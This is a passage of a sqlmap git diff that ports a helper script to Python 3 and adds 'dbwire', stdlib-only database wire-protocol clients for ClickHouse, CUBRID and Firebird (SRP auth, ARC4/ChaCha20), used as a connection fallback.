+= 1 @@ -59,7 +60,7 @@ def convert(inputFile): def main(inputFile, outputFile): if not os.path.isfile(inputFile): - print "ERROR: the provided input file '%s' is not a regular file" % inputFile + print("ERROR: the provided input file '%s' is not a regular file" % inputFile) sys.exit(1) script = convert(inputFile) @@ -70,7 +71,7 @@ def main(inputFile, outputFile): sys.stdout.write(script) sys.stdout.close() else: - print script + print(script) if __name__ == "__main__": usage = "%s -i [-o ]" % sys.argv[0] @@ -86,8 +87,8 @@ def main(inputFile, outputFile): if not args.inputFile: parser.error("Missing the input file, -h for help") - except (OptionError, TypeError), e: - parser.error(e) + except (OptionError, TypeError) as ex: + parser.error(ex) inputFile = args.inputFile outputFile = args.outputFile diff --git a/extra/dbwire/README.md b/extra/dbwire/README.md new file mode 100644 index 00000000000..cfd37dceba3 --- /dev/null +++ b/extra/dbwire/README.md @@ -0,0 +1,71 @@ +# dbwire + +Minimal, dependency-free database wire-protocol clients used as a fallback for sqlmap's direct +(`-d`) connection mode. + +## What this is + +sqlmap's `-d` mode talks to a database server directly instead of through an injection point. It +normally does so via a native driver (`psycopg2`, `pymysql`, `pymssql`, ...) or, if one is missing, +via SQLAlchemy. When neither is installed, `dbwire` provides a small pure-python client so that `-d` +still works out of the box. + +Every module here is written against the database's **wire protocol** using only the Python standard +library (`socket`, `struct`, `hashlib`, `hmac`, `base64`, `urllib`). There are no third-party +dependencies, and the sources run unmodified on Python 2.7 and Python 3. + +## Coverage + +A wire protocol is shared across a whole family of products, so one client serves several engines: + +| Module | Protocol | Engines | +|-----------------|---------------------|---------| +| `postgres.py` | PostgreSQL v3 | PostgreSQL, CockroachDB, CrateDB, Redshift, Greenplum, Vertica | +| `mysql.py` | MySQL client/server | MySQL, MariaDB, TiDB, Aurora (MySQL), Percona | +| `tds.py` | TDS | Microsoft SQL Server, Sybase | +| `firebird.py` | Firebird wire | Firebird 3 / 4 / 5 | +| `cubrid.py` | CUBRID CAS | CUBRID | +| `clickhouse.py` | HTTP (TabSeparated) | ClickHouse and HTTP-compatible forks | +| `monetdb.py` | MAPI | MonetDB | +| `presto.py` | HTTP/REST (JSON) | Presto, Trino | + +The mapping from a DBMS to its module lives in `lib/core/dicts.py` (`DBWIRE_MODULES`). The connector +tier order is: native driver, then SQLAlchemy, then dbwire. + +## Interface + +Each module exposes a small [PEP 249](https://peps.python.org/pep-0249/) (DB-API 2.0) subset: + +- `connect(host, port, user, password, database, connect_timeout, ...)` -> `Connection` +- `Connection.cursor()`, `.commit()`, `.rollback()`, `.close()` +- `Cursor.execute(query)`, `.fetchall()`, `.fetchone()`, `.close()`, `.description`, `.rowcount` +- the shared exception hierarchy in `__init__.py` (`Error` -> `InterfaceError` / `DatabaseError` -> + `OperationalError` / `DataError` / `IntegrityError` / `ProgrammingError` / `InternalError` / + `NotSupportedError`) + +It is deliberately read-oriented for sqlmap's use: `execute()` takes a fully-formed query string +(no parameter binding), statements auto-commit, and binary column values are returned as `bytes` so +that sqlmap renders them as hex. + +## Scope and limitations + +This is a fallback for `-d`, not a general-purpose driver. It intentionally does not implement +parameter binding, prepared statements, bulk load/`COPY`, or TLS. Notable per-protocol notes: + +- **PostgreSQL** - `trust`, cleartext, MD5 and SCRAM-SHA-256 authentication. +- **MySQL** - `mysql_native_password` and the `caching_sha2_password` fast path. Full + `caching_sha2_password` authentication over a plaintext connection requires RSA/TLS and is not + supported; use a `mysql_native_password` account for the dependency-free path. +- **TDS** - cleartext login only. Servers that force encryption (for example Azure SQL Database) + require TLS and are not supported here; the native driver or SQLAlchemy tier covers those. +- **Firebird** - SRP-256 (and SRP) authentication with ChaCha20 or RC4 wire encryption, as required by + default on Firebird 3 and later. Legacy (pre-SRP) authentication is not implemented. +- **CUBRID** - cleartext login over the CAS broker protocol. Large objects (BLOB/CLOB) are returned as + their raw locator handles rather than fetched inline. + +When a case is not supported, the client raises a clear `NotSupportedError` rather than returning +wrong data, so `-d` cleanly falls through to another connector tier where possible. + +--- + +Part of [sqlmap](https://sqlmap.org). See the top-level `LICENSE` for copying permission. diff --git a/extra/dbwire/__init__.py b/extra/dbwire/__init__.py new file mode 100644 index 00000000000..e48a84e4d53 --- /dev/null +++ b/extra/dbwire/__init__.py @@ -0,0 +1,50 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +""" +dbwire - minimal, dependency-free (stdlib-only) database wire-protocol clients used as a fallback for +sqlmap's direct ('-d') connection when no native driver (and no SQLAlchemy) is installed. + +Design note: connectors speak a *wire protocol*, not a product, so a single client covers the whole +compatible family - e.g. the PostgreSQL client also serves CockroachDB, CrateDB, Redshift and Greenplum; +a MySQL client serves MariaDB/TiDB/Aurora; a TDS client serves MSSQL/Sybase. Each module exposes a small +PEP 249 (DB-API 2.0) subset (connect(), Connection.cursor()/commit()/close(), Cursor.execute()/fetchall()). +""" + +__version__ = "0.1" + +apilevel = "2.0" +threadsafety = 1 +paramstyle = "pyformat" + +# PEP 249 exception hierarchy (shared by every wire module) +class Error(Exception): + pass + +class InterfaceError(Error): + pass + +class DatabaseError(Error): + pass + +class OperationalError(DatabaseError): + pass + +class DataError(DatabaseError): + pass + +class IntegrityError(DatabaseError): + pass + +class ProgrammingError(DatabaseError): + pass + +class InternalError(DatabaseError): + pass + +class NotSupportedError(DatabaseError): + pass diff --git a/extra/dbwire/clickhouse.py b/extra/dbwire/clickhouse.py new file mode 100644 index 00000000000..b6a9cae588b --- /dev/null +++ b/extra/dbwire/clickhouse.py @@ -0,0 +1,139 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +""" +Minimal pure-python ClickHouse client over its native HTTP interface (stdlib only, no clickhouse_connect). + +ClickHouse exposes an HTTP endpoint that runs a query in the request body and streams the result back in a +chosen format; we use TabSeparatedWithNames (first line = column names, then tab-separated rows with +backslash escaping and \\N for NULL). Covers ClickHouse and its HTTP-compatible forks. +""" + +import base64 +import socket + +try: + from urllib.request import Request, urlopen # Python 3 + from urllib.error import HTTPError, URLError +except ImportError: + from urllib2 import Request, urlopen, HTTPError, URLError # Python 2 + +from extra.dbwire import OperationalError +from extra.dbwire import ProgrammingError + +# TabSeparated backslash escapes -> the literal byte they denote +_ESCAPE = {ord("t"): 9, ord("n"): 10, ord("r"): 13, ord("0"): 0, ord("b"): 8, + ord("f"): 12, ord("a"): 7, ord("v"): 11, ord("\\"): 92, ord("'"): 39} + +def _unescape(value): + # value: the raw bytes of one TSV field -> None (\N) or the unescaped bytes. Operates on bytes because a + # String/FixedString column can hold arbitrary non-UTF-8 data, which a whole-body utf-8 decode would destroy. + if value == b"\\N": + return None + if b"\\" not in value: + return value + src, out, i, n = bytearray(value), bytearray(), 0, len(value) + while i < n: + c = src[i] + if c == 0x5c and i + 1 < n: # backslash + out.append(_ESCAPE.get(src[i + 1], src[i + 1])); i += 2 + else: + out.append(c); i += 1 + return bytes(out) + +def _decode_cell(value): + # keep text as str; hand back raw bytes only when a value is not valid UTF-8 (sqlmap then hex-encodes it) + if value is None: + return None + try: + return value.decode("utf-8") + except UnicodeDecodeError: + return value + +class Cursor(object): + def __init__(self, connection): + self.connection = connection + self.description = None + self.rowcount = -1 + self._rows = [] + self._pos = 0 + + def execute(self, query, params=None): + if params is not None: + raise ProgrammingError("parameter binding is not supported; pass a fully-formed query string") + self.description, self.rowcount, self._rows, self._pos = None, -1, [], 0 + self.description, self._rows = self.connection._query(query) + self.rowcount = len(self._rows) + return self + + def fetchall(self): + retVal = self._rows[self._pos:] + self._pos = len(self._rows) + return retVal + + def fetchone(self): + if self._pos >= len(self._rows): + return None + retVal = self._rows[self._pos] + self._pos += 1 + return retVal + + def close(self): + self._rows = [] + +class Connection(object): + def __init__(self, host, port, user, password, database, timeout): + self._url = "http://%s:%d/?database=%s&default_format=TabSeparatedWithNames" % (host, port, database or "default") + self._headers = {} + if user or password: + token = base64.b64encode(("%s:%s" % (user or "", password or "")).encode("utf-8")).decode("ascii") + self._headers["Authorization"] = "Basic %s" % token + self._timeout = timeout + + def cursor(self): + return Cursor(self) + + def commit(self): + pass # ClickHouse statements are executed immediately (no client-side transaction) + + def rollback(self): + pass + + def close(self): + pass # HTTP is stateless + + def _query(self, query): + req = Request(self._url, data=query.encode("utf-8"), headers=self._headers) + try: + body = urlopen(req, timeout=self._timeout).read() # bytes: column data may be non-UTF-8 + except HTTPError as ex: + raise ProgrammingError("(remote) %s" % ex.read().decode("utf-8", "replace").strip()) + except URLError as ex: + raise OperationalError("(remote) %s" % ex) + except (socket.timeout, socket.error) as ex: + raise OperationalError("(remote) %s" % ex) + + if not body: + return None, [] + lines = body.split(b"\n") + if lines and lines[-1] == b"": + lines.pop() + if not lines: + return None, [] + description = [(name, None, None, None, None, None, None) for name in (_decode_cell(_unescape(_)) for _ in lines[0].split(b"\t"))] + rows = [tuple(_decode_cell(_unescape(_)) for _ in line.split(b"\t")) for line in lines[1:]] + return description, rows + +def connect(host=None, port=8123, user=None, password=None, database=None, connect_timeout=None, **kwargs): + connection = Connection(host or "localhost", int(port or 8123), user, password, database, connect_timeout) + try: + connection._query("SELECT 1") # verify connectivity/credentials up front + except ProgrammingError: + raise + except Exception as ex: + raise OperationalError("could not connect to '%s:%s' (%s)" % (host, port, ex)) + return connection diff --git a/extra/dbwire/cubrid.py b/extra/dbwire/cubrid.py new file mode 100644 index 00000000000..ae6f95f5e7c --- /dev/null +++ b/extra/dbwire/cubrid.py @@ -0,0 +1,442 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +""" +Minimal pure-python CUBRID client speaking the CAS (Common Application Server) broker protocol (stdlib +only, no CUBRID-Python/CCI). Does the 10-byte broker handshake (+ optional CAS-worker redirect), a +cleartext OPEN_DATABASE login, then prepare / execute / fetch with column-metadata decoding. Read-oriented +for sqlmap: execute() takes a fully-formed query string, binary (BIT/VARBIT/BLOB) values come back as bytes +(sqlmap hex-encodes them). Auto-commit is enabled so each statement is independent. +""" + +import datetime +import socket +import struct + +from extra.dbwire import DatabaseError +from extra.dbwire import DataError +from extra.dbwire import InterfaceError +from extra.dbwire import IntegrityError +from extra.dbwire import NotSupportedError +from extra.dbwire import OperationalError +from extra.dbwire import ProgrammingError + +_MAGIC = b"CUBRK" +_CLIENT_JDBC = 3 +_CAS_VERSION = 0x48 # PROTO_INDICATOR(0x40) | VERSION(8) + +# function codes (first raw byte of each request) +_FC_END_TRAN = 1 +_FC_PREPARE = 2 +_FC_EXECUTE = 3 +_FC_SET_DB_PARAMETER = 5 +_FC_CLOSE_REQ_HANDLE = 6 +_FC_FETCH = 8 +_FC_CON_CLOSE = 31 + +_TRAN_COMMIT = 1 +_TRAN_ROLLBACK = 2 +_PARAM_AUTO_COMMIT = 4 + +_OID_SIZE = 8 +_STMT_SELECT = 21 + +# CUBRID CCI_U_TYPE column type codes +_T_CHAR = 1 +_T_STRING = 2 +_T_NCHAR = 3 +_T_VARNCHAR = 4 +_T_BIT = 5 +_T_VARBIT = 6 +_T_NUMERIC = 7 +_T_INT = 8 +_T_SHORT = 9 +_T_MONETARY = 10 +_T_FLOAT = 11 +_T_DOUBLE = 12 +_T_DATE = 13 +_T_TIME = 14 +_T_TIMESTAMP = 15 +_T_OBJECT = 19 +_T_BIGINT = 21 +_T_DATETIME = 22 +_T_BLOB = 23 +_T_CLOB = 24 +_T_ENUM = 25 +_T_JSON = 34 +_STRING_TYPES = frozenset((_T_CHAR, _T_STRING, _T_NCHAR, _T_VARNCHAR, _T_ENUM, _T_JSON)) +_BINARY_TYPES = frozenset((_T_BIT, _T_VARBIT, _T_BLOB, _T_CLOB)) + +_MAX_MESSAGE_LENGTH = 0x40000000 # guard against a hostile/corrupt length + +class _Writer(object): + # builds a request payload (after the 8-byte header): raw function code + length-prefixed args + def __init__(self, fc): + self._buf = bytearray(struct.pack(">B", fc)) + + def raw_int(self, v): + self._buf += struct.pack(">i", v); return self + + def raw_byte(self, v): + self._buf += struct.pack(">B", v); return self + + def arg_int(self, v): + self._buf += struct.pack(">ii", 4, v); return self + + def arg_byte(self, v): + self._buf += struct.pack(">iB", 1, v); return self + + def arg_null(self): + self._buf += struct.pack(">i", 0); return self + + def arg_cache_time(self): + self._buf += struct.pack(">iii", 8, 0, 0); return self + + def arg_nts(self, s): # null-terminated string arg: [len(utf8)+1][utf8][00] + b = s.encode("utf-8") + self._buf += struct.pack(">i", len(b) + 1) + b + b"\x00"; return self + + def payload(self): + return bytes(self._buf) + +class _Reader(object): + def __init__(self, buf): + self._buf = buf + self._off = 0 + + def remaining(self): + return len(self._buf) - self._off + + def byte(self): + v = struct.unpack_from(">B", self._buf, self._off)[0]; self._off += 1; return v + + def short(self): + v = struct.unpack_from(">h", self._buf, self._off)[0]; self._off += 2; return v + + def int(self): + v = struct.unpack_from(">i", self._buf, self._off)[0]; self._off += 4; return v + + def long(self): + v = struct.unpack_from(">q", self._buf, self._off)[0]; self._off += 8; return v + + def float(self): + v = struct.unpack_from(">f", self._buf, self._off)[0]; self._off += 4; return v + + def double(self): + v = struct.unpack_from(">d", self._buf, self._off)[0]; self._off += 8; return v + + def raw(self, n): + v = self._buf[self._off:self._off + n]; self._off += n; return bytes(v) + + def skip(self, n): + self._off += n + + def nts(self, n): # n bytes, drop one trailing NUL if present + b = self.raw(n) + if b and bytearray(b)[-1:] == bytearray(b"\x00"): + b = b[:-1] + return b + +def _decode_text(raw): + try: + return raw.decode("utf-8") + except UnicodeDecodeError: + return raw # non-UTF-8 -> keep bytes (sqlmap hex-encodes), not lossy + +def _decode_value(reader, col_type, size): + if col_type in _STRING_TYPES: + return _decode_text(reader.nts(size)) + if col_type in (_T_BIT, _T_VARBIT): + return reader.raw(size) + if col_type == _T_NUMERIC: + return _decode_text(reader.nts(size)) # DECIMAL arrives as ASCII text + if col_type == _T_INT: + return str(reader.int()) + if col_type == _T_SHORT: + return str(reader.short()) + if col_type == _T_BIGINT: + return str(reader.long()) + if col_type == _T_FLOAT: + return repr(reader.float()) + if col_type in (_T_DOUBLE, _T_MONETARY): + return repr(reader.double()) + if col_type == _T_DATE: + y, mo, d = reader.short(), reader.short(), reader.short() + return "%s" % datetime.date(y, mo, d) + if col_type == _T_TIME: + h, mi, s = reader.short(), reader.short(), reader.short() + return "%s" % datetime.time(h, mi, s) + if col_type == _T_TIMESTAMP: + vals = [reader.short() for _ in range(6)] + return "%s" % datetime.datetime(*vals) + if col_type == _T_DATETIME: + y, mo, d, h, mi, s, ms = (reader.short() for _ in range(7)) + return "%s" % datetime.datetime(y, mo, d, h, mi, s, ms * 1000) + if col_type == _T_OBJECT: + page, slot, vol = reader.int(), reader.short(), reader.short() + return "OID:@%d|%d|%d" % (page, slot, vol) + return reader.raw(size) # BLOB/CLOB locator or unknown type -> raw bytes + +class _Column(object): + __slots__ = ("name", "type", "scale", "precision") + +class Cursor(object): + def __init__(self, connection): + self.connection = connection + self.description = None + self.rowcount = -1 + self._rows = [] + self._pos = 0 + + def execute(self, query, params=None): + if params is not None: + raise NotSupportedError("parameter binding is not supported; pass a fully-formed query string") + self.description, self.rowcount, self._rows, self._pos = None, -1, [], 0 + self.description, self._rows, self.rowcount = self.connection._query(query) + return self + + def fetchall(self): + retVal = self._rows[self._pos:] + self._pos = len(self._rows) + return retVal + + def fetchone(self): + if self._pos >= len(self._rows): + return None + retVal = self._rows[self._pos] + self._pos += 1 + return retVal + + def close(self): + self._rows = [] + +class Connection(object): + def __init__(self, host, port, user, password, database, timeout): + self._host = host + self._port = port + self._user = user + self._password = password + self._database = database + self._timeout = timeout + self._sock = None + self._cas_info = b"\x00\x00\x00\x00" + self._protocol_version = 8 + self._open() + + def cursor(self): + return Cursor(self) + + def commit(self): + self._call(_Writer(_FC_END_TRAN).arg_byte(_TRAN_COMMIT)) + + def rollback(self): + self._call(_Writer(_FC_END_TRAN).arg_byte(_TRAN_ROLLBACK)) + + def close(self): + try: + if self._sock is not None: + self._send(_Writer(_FC_CON_CLOSE).payload()) + except Exception: + pass + self._safe_close() + + # ---- connection / framing ---- + + def _safe_close(self): + try: + if self._sock is not None: + self._sock.close() + except Exception: + pass + self._sock = None + + def _recvn(self, n): + buf = b"" + while len(buf) < n: + chunk = self._sock.recv(n - len(buf)) + if not chunk: + raise InterfaceError("connection closed by server") + buf += chunk + return buf + + def _open(self): + # broker handshake (may redirect to a dedicated CAS worker port), then cleartext OPEN_DATABASE login + try: + sock = socket.create_connection((self._host, self._port), timeout=self._timeout) + sock.settimeout(None) + sock.sendall(_MAGIC + struct.pack(">BB", _CLIENT_JDBC, _CAS_VERSION) + b"\x00\x00\x00") + self._sock = sock + (port,) = struct.unpack(">i", self._recvn(4)) + if port < 0: + raise OperationalError("CUBRID broker rejected the connection (status %d)" % port) + if port > 0: # redirected to a CAS worker: reconnect there, no second handshake + self._safe_close() + sock = socket.create_connection((self._host, port), timeout=self._timeout) + sock.settimeout(None) + self._sock = sock + except (socket.error, socket.timeout) as ex: + self._safe_close() + raise OperationalError("could not connect to '%s:%s' (%s)" % (self._host, self._port, ex)) + + login = self._fixed(self._database, 32) + self._fixed(self._user, 32) + self._fixed(self._password, 32) + login += b"\x00" * 532 # 512 extended-info + 20 reserved + self._sock.sendall(login) + reader = self._read_response() + reader.int() # response_code (>=0; errors already raised in _read_response) + broker = reader.raw(8) + self._protocol_version = bytearray(broker)[4] & 0x3f + # enable auto-commit so each statement is independent (avoids the CAS keep-connection handshake dance) + self._call(_Writer(_FC_SET_DB_PARAMETER).arg_int(_PARAM_AUTO_COMMIT).arg_int(1)) + + @staticmethod + def _fixed(value, length): + b = (value or "").encode("utf-8")[:length] + return b + b"\x00" * (length - len(b)) + + def _send(self, payload): + # frame: [payload_len(4)][cas_info(4)][payload] + self._sock.sendall(struct.pack(">i", len(payload)) + self._cas_info + payload) + + def _read_response(self): + (data_length,) = struct.unpack(">i", self._recvn(4)) + if data_length < 0 or data_length > _MAX_MESSAGE_LENGTH: + raise InterfaceError("invalid CAS response length (%d)" % data_length) + body = self._recvn(data_length + 4) # cas_info(4) + payload(data_length) + self._cas_info = body[:4] + reader = _Reader(body[4:]) + peek = struct.unpack_from(">i", body, 4)[0] + if peek < 0: # error response: response_code(<0), errno, message + reader.int() + errno = reader.int() + message = _decode_text(reader.nts(reader.remaining())) + if not isinstance(message, str): + message = "errno %d" % errno + self._raise(errno, "(remote) %s" % message.strip()) + return reader + + def _call(self, writer): + # reconnect transparently if the CAS worker was released after a previous auto-committed statement + if self._sock is None or bytearray(self._cas_info)[0] == 0: + self._open() + try: + self._send(writer.payload() if isinstance(writer, _Writer) else writer) + return self._read_response() + except (struct.error, IndexError, ValueError) as ex: + raise InterfaceError("malformed server response: %s" % ex) + + @staticmethod + def _raise(errno, message): + text = message.lower() + if any(k in text for k in ("unique", "duplicate", "foreign key", "constraint violat")): + raise IntegrityError(message) + if any(k in text for k in ("syntax", "unknown class", "does not exist", "not found", "before ' '")): + raise ProgrammingError(message) + if any(k in text for k in ("cast", "conversion", "overflow", "truncat")): + raise DataError(message) + raise ProgrammingError(message) + + # ---- query ---- + + def _query(self, query): + reader = self._call(_Writer(_FC_PREPARE).arg_nts(query).arg_byte(0).arg_byte(0)) + handle = reader.int() + reader.int() # result cache lifetime + stmt_type = reader.byte() + reader.int() # bind count + reader.byte() # is_updatable + columns = self._parse_columns(reader, reader.int()) + + exec_writer = (_Writer(_FC_EXECUTE).arg_int(handle).arg_byte(0).arg_int(0).arg_int(0) + .arg_null().arg_byte(1 if stmt_type == _STMT_SELECT else 0) + .arg_byte(0).arg_byte(1).arg_cache_time().arg_int(0)) + reader = self._call(exec_writer) + + total = reader.int() + reader.byte() # cache reusable + result_count = reader.int() + result_infos = [self._parse_result_info(reader) for _ in range(result_count)] + if self._protocol_version > 1: + reader.byte() # includes_column_info + if self._protocol_version > 4: + reader.int() # shard_id + + description, rows, rowcount = None, [], -1 + if stmt_type == _STMT_SELECT and columns: + description = [(c.name, c.type, None, None, c.precision, c.scale, None) for c in columns] + if reader.remaining() >= 8: + reader.int() # fetch code + tuple_count = reader.int() + rows = self._parse_rows(reader, tuple_count, columns) + rows += self._fetch_remaining(handle, columns, len(rows), total) + elif result_infos: + rowcount = result_infos[0] + self._call(_Writer(_FC_CLOSE_REQ_HANDLE).arg_int(handle)) + return description, rows, rowcount + + def _fetch_remaining(self, handle, columns, fetched, total): + rows = [] + while fetched + len(rows) < total: + reader = self._call(_Writer(_FC_FETCH).arg_int(handle) + .arg_int(fetched + len(rows) + 1).arg_int(100).arg_byte(0).arg_int(0)) + reader.int() # response code (>=0) + tuple_count = reader.int() + if tuple_count <= 0: + break + rows += self._parse_rows(reader, tuple_count, columns) + return rows + + def _parse_result_info(self, reader): + reader.byte() # stmt type + count = reader.int() # affected rows + reader.raw(_OID_SIZE) + reader.int(); reader.int() # cache time sec/usec + return count + + def _parse_columns(self, reader, count): + columns = [] + for _ in range(count): + col = _Column() + legacy = reader.byte() + col.type = reader.byte() if legacy & 0x80 else legacy + col.scale = reader.short() + col.precision = reader.int() + col.name = _to_str(reader.nts(reader.int())) + reader.nts(reader.int()) # real name + reader.nts(reader.int()) # table name + reader.byte() # is_nullable + reader.nts(reader.int()) # default value + reader.skip(7) # auto_inc/unique/primary/rev_index/rev_unique/foreign/shared + columns.append(col) + return columns + + def _parse_rows(self, reader, tuple_count, columns): + rows = [] + for _ in range(tuple_count): + reader.int() # row index + reader.skip(_OID_SIZE) + row = [] + for col in columns: + size = reader.int() + if size <= 0: + row.append(None) + else: + row.append(_decode_value(reader, col.type, size)) + rows.append(tuple(row)) + return rows + +def _to_str(b): + v = _decode_text(b) + return v if isinstance(v, str) else v.decode("latin-1") + +def connect(host=None, port=33000, user=None, password=None, database=None, connect_timeout=None, **kwargs): + try: + return Connection(host or "localhost", int(port or 33000), user or "public", + password or "", database or "", connect_timeout) + except (DatabaseError, InterfaceError): + raise + except Exception as ex: + raise OperationalError("CUBRID connection failed (%s)" % ex) diff --git a/extra/dbwire/firebird.py b/extra/dbwire/firebird.py new file mode 100644 index 00000000000..0e1c8ec5afb --- /dev/null +++ b/extra/dbwire/firebird.py @@ -0,0 +1,838 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +""" +Minimal pure-python Firebird wire-protocol client (stdlib only, no firebirdsql). + +Speaks the Firebird v13-17 protocol (Firebird 3/4/5): op_connect, SRP-256 authentication, ChaCha20 (or +Arc4) wire encryption - which Firebird 4+ requires by default - then attach / transaction / prepare / +execute / fetch with XSQLDA column description and row decoding. Read-oriented for sqlmap: execute() takes +a fully-formed query string, binary/blob values come back as bytes (sqlmap hex-encodes them). +""" + +import datetime +import hashlib +import os +import socket +import struct + +from extra.dbwire import DatabaseError +from extra.dbwire import DataError +from extra.dbwire import IntegrityError +from extra.dbwire import InterfaceError +from extra.dbwire import NotSupportedError +from extra.dbwire import OperationalError + +# operation codes +_op_connect = 1 +_op_accept = 3 +_op_reject = 4 +_op_response = 9 +_op_attach = 19 +_op_detach = 21 +_op_transaction = 29 +_op_commit_retaining = 50 +_op_rollback_retaining = 86 +_op_get_segment = 36 +_op_close_blob = 39 +_op_open_blob2 = 56 +_op_allocate_statement = 62 +_op_execute = 63 +_op_fetch = 65 +_op_fetch_response = 66 +_op_free_statement = 67 +_op_prepare_statement = 68 +_op_info_sql = 70 +_op_dummy = 71 +_op_cont_auth = 92 +_op_crypt = 96 +_op_accept_data = 94 +_op_cond_accept = 98 + +# CNCT parameter codes +_CNCT_user = 1 +_CNCT_host = 4 +_CNCT_user_verification = 6 +_CNCT_specific_data = 7 +_CNCT_plugin_name = 8 +_CNCT_login = 9 +_CNCT_plugin_list = 10 +_CNCT_client_crypt = 11 + +# database / transaction parameter block items +_isc_dpb_version1 = 1 +_isc_dpb_user_name = 28 +_isc_dpb_lc_ctype = 48 +_isc_dpb_process_id = 71 +_isc_dpb_process_name = 74 +_isc_tpb_version3 = 3 +_isc_tpb_wait = 6 +_isc_tpb_write = 9 +_isc_tpb_read_committed = 15 +_isc_tpb_rec_version = 17 + +# isc_info_sql_* describe items +_isc_info_end = 1 +_isc_info_truncated = 2 +_isc_info_sql_select = 4 +_isc_info_sql_describe_vars = 7 +_isc_info_sql_describe_end = 8 +_isc_info_sql_sqlda_seq = 9 +_isc_info_sql_type = 11 +_isc_info_sql_sub_type = 12 +_isc_info_sql_scale = 13 +_isc_info_sql_length = 14 +_isc_info_sql_null_ind = 15 +_isc_info_sql_field = 16 +_isc_info_sql_relation = 17 +_isc_info_sql_owner = 18 +_isc_info_sql_alias = 19 +_isc_info_sql_sqlda_start = 20 +_isc_info_sql_stmt_type = 21 +_INFO_SQL_SELECT_DESCRIBE_VARS = bytes(bytearray([ + _isc_info_sql_select, _isc_info_sql_describe_vars, _isc_info_sql_sqlda_seq, + _isc_info_sql_type, _isc_info_sql_sub_type, _isc_info_sql_scale, _isc_info_sql_length, + _isc_info_sql_null_ind, _isc_info_sql_field, _isc_info_sql_relation, _isc_info_sql_owner, + _isc_info_sql_alias, _isc_info_sql_describe_end])) + +_isc_info_sql_stmt_select = 1 +_DSQL_drop = 2 + +# SQL type codes +_SQL_VARYING = 448 +_SQL_TEXT = 452 +_SQL_DOUBLE = 480 +_SQL_FLOAT = 482 +_SQL_LONG = 496 +_SQL_SHORT = 500 +_SQL_TIMESTAMP = 510 +_SQL_BLOB = 520 +_SQL_TIME = 560 +_SQL_DATE = 570 +_SQL_INT64 = 580 +_SQL_INT128 = 32752 +_SQL_TIMESTAMP_TZ = 32754 +_SQL_TIME_TZ = 32756 +_SQL_BOOLEAN = 32764 +_SQL_TYPE_LENGTH = { # fixed on-the-wire length by SQL type (VARYING is length-prefixed -> -1) + _SQL_VARYING: -1, _SQL_SHORT: 4, _SQL_LONG: 4, _SQL_FLOAT: 4, _SQL_TIME: 4, _SQL_DATE: 4, + _SQL_DOUBLE: 8, _SQL_TIMESTAMP: 8, _SQL_BLOB: 8, _SQL_INT64: 8, _SQL_INT128: 16, + _SQL_TIMESTAMP_TZ: 12, _SQL_TIME_TZ: 8, _SQL_BOOLEAN: 1, +} +# per-type output BLR fragment used to describe the fetched row (see calc_blr) +_SQL_TYPE_BLR = { + _SQL_DOUBLE: [27], _SQL_FLOAT: [10], _SQL_DATE: [12], _SQL_TIME: [13], _SQL_TIMESTAMP: [35], + _SQL_BLOB: [9, 0], _SQL_BOOLEAN: [23], _SQL_TIME_TZ: [28], _SQL_TIMESTAMP_TZ: [29], +} + +# status-vector argument tags +_isc_arg_end = 0 +_isc_arg_gds = 1 +_isc_arg_string = 2 +_isc_arg_number = 4 +_isc_arg_interpreted = 5 +_isc_arg_sql_state = 19 +_GDS_INTEGRITY = frozenset((335544838, 335544879, 335544880, 335544466, 335544665, 335544347, 335544558)) +_GDS_DATA = frozenset((335544321,)) +_GDS_WARNING = 335544434 + +# SRP-6a group used by Firebird (fixed 1024-bit prime, generator 2) +_SRP_N = int("E67D2E994B2F900C3F41F08F5BB2627ED0D49EE1FE767A52EFCD565CD6E768812C3E1E9CE8F0A8BEA6CB13CD29DDE" + "BF7A96D4A93B55D488DF099A15C89DCB0640738EB2CBDD9A8F7BAB561AB1B0DC1C6CDABF303264A08D1BCA932D1F" + "1EE428B619D970F342ABA9A65793B8B2F041AE5364350C16F735F56ECBCA87BD57B29E7", 16) +_SRP_g = 2 +_SRP_k = 1277432915985975349439481660349303019122249719989 + +def _minbe(n): + # minimal big-endian bytes of a non-negative integer (matches firebirdsql long2bytes/pad for these sizes) + out = bytearray() + while n > 0: + out.insert(0, n & 0xff) + n >>= 8 + return bytes(out) + +def _b2l(b): + n = 0 + for c in bytearray(b): + n = (n << 8) | c + return n + +def _sha1(*parts): + h = hashlib.sha1() + for p in parts: + h.update(p if isinstance(p, bytes) else _minbe(p)) + return h.digest() + +def _srp_client_seed(): + a = _b2l(os.urandom(16)) # client private key (128-bit) + return pow(_SRP_g, a, _SRP_N), a + +def _srp_client_proof(user, password, salt, A, B, a, hash_algo): + # session key K (always SHA-1) then the Firebird-specific proof M (SHA-1 for Srp, SHA-256 for Srp256) + u = _b2l(_sha1(_minbe(A), _minbe(B))) + x = _b2l(_sha1(salt, _sha1(user, b":", password))) + S = pow((B - _SRP_k * pow(_SRP_g, x, _SRP_N)) % _SRP_N, (a + u * x) % _SRP_N, _SRP_N) + K = _sha1(_minbe(S)) + n1 = _b2l(_sha1(_minbe(_SRP_N))) + n2 = _b2l(_sha1(_minbe(_SRP_g))) + n1 = pow(n1, n2, _SRP_N) # NOTE: modular exponentiation, not XOR (Firebird quirk) + n2 = _b2l(_sha1(user)) + h = hash_algo() + for p in (_minbe(n1), _minbe(n2), salt, _minbe(A), _minbe(B), K): + h.update(p) + return h.digest(), K + +class _ARC4(object): + def __init__(self, key): + s = list(range(256)) + key = bytearray(key) + j = 0 + for i in range(256): + j = (j + s[i] + key[i % len(key)]) & 0xff + s[i], s[j] = s[j], s[i] + self._s, self._i, self._j = s, 0, 0 + + def translate(self, data): + s, i, j, out = self._s, self._i, self._j, bytearray() + for c in bytearray(data): + i = (i + 1) & 0xff + j = (j + s[i]) & 0xff + s[i], s[j] = s[j], s[i] + out.append(c ^ s[(s[i] + s[j]) & 0xff]) + self._i, self._j = i, j + return bytes(out) + +class _ChaCha20(object): + _SIGMA = b"expand 32-byte k" + + def __init__(self, key, nonce): + self._nonce = nonce + self._counter = 0 + block = self._SIGMA + key + self._ctr_bytes() + nonce + self._state = list(struct.unpack("<16L", block)) + self._make_block() + + def 